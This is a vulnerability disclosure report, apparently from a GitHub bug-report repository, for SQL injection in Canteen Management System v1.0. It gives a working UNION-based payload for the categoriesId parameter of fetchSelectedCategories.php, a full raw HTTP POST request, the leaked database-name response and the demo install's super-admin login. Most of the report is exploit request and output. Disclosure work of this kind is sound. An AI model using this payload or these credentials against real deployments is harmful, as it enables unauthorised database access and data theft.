

main

...

bug_report / vendors / mayuri_k / canteen-management-system / SQLi-1.md



HuahuaDaren Create SQLi-1.md

History

1 contributor

35 lines (24 sloc) | 1.21 KB

...

Canteen Management System v1.0 by mayuri_k has SQL injection

BUG_Author: Qianxin Niu

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xampp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability File: /youthappam/php_action/fetchSelectedCategories.php

Vulnerability location: /youthappam/php_action/fetchSelectedCategories.php, categoriesId

dbname =youthappam,length=10

[+] Payload: categoriesId=-1 union select 1,database(),3,4 // Leak place ---> categoriesId

```
POST /youthappam/php_action/fetchSelectedCategories.php HTTP/1.1
```

```
Host: 192.168.1.88
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=lf9hph2449vgrcadcct2jgd8ne

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 45

categoriesId=-1 union select 1,database(),3,4

The screenshot shows the Burp Suite interface. At the top, there are navigation tabs: INT, SQL BASICS, UNION BASED, ERROR/DOUBLE QUERY, TOOLS, WAF BYPASS, ENCODING, HTML, ENCRYPTION, OTHER, XSS, and LFI. The 'UNION BASED' tab is selected. Below the tabs, there is a 'Load URL' field containing '192.168.1.88/youthappam/php_action/fetchSelectedCategories.php'. To the left of this field are icons for 'Split URL' and 'Execute'. Below the URL field, there are checkboxes for 'Post data' (checked) and 'Referrer' (unchecked). To the right of these checkboxes are buttons for '0xHEX', '%URL', and 'BASE64'. Further right are two input fields: 'Insert string to replace' and 'Insert replacing string'. To the right of these fields is a checkbox for 'Replace All' (checked). Below these options is a 'Post data' section containing the payload: 'categoriesId=-1 union select 1,database(),3,4'.

{"0":"1","categories_id":"1","1":"youthappam","categories_name":"youthappam","2":"3","categories_active":"3","3":"4","categories_status":"4"}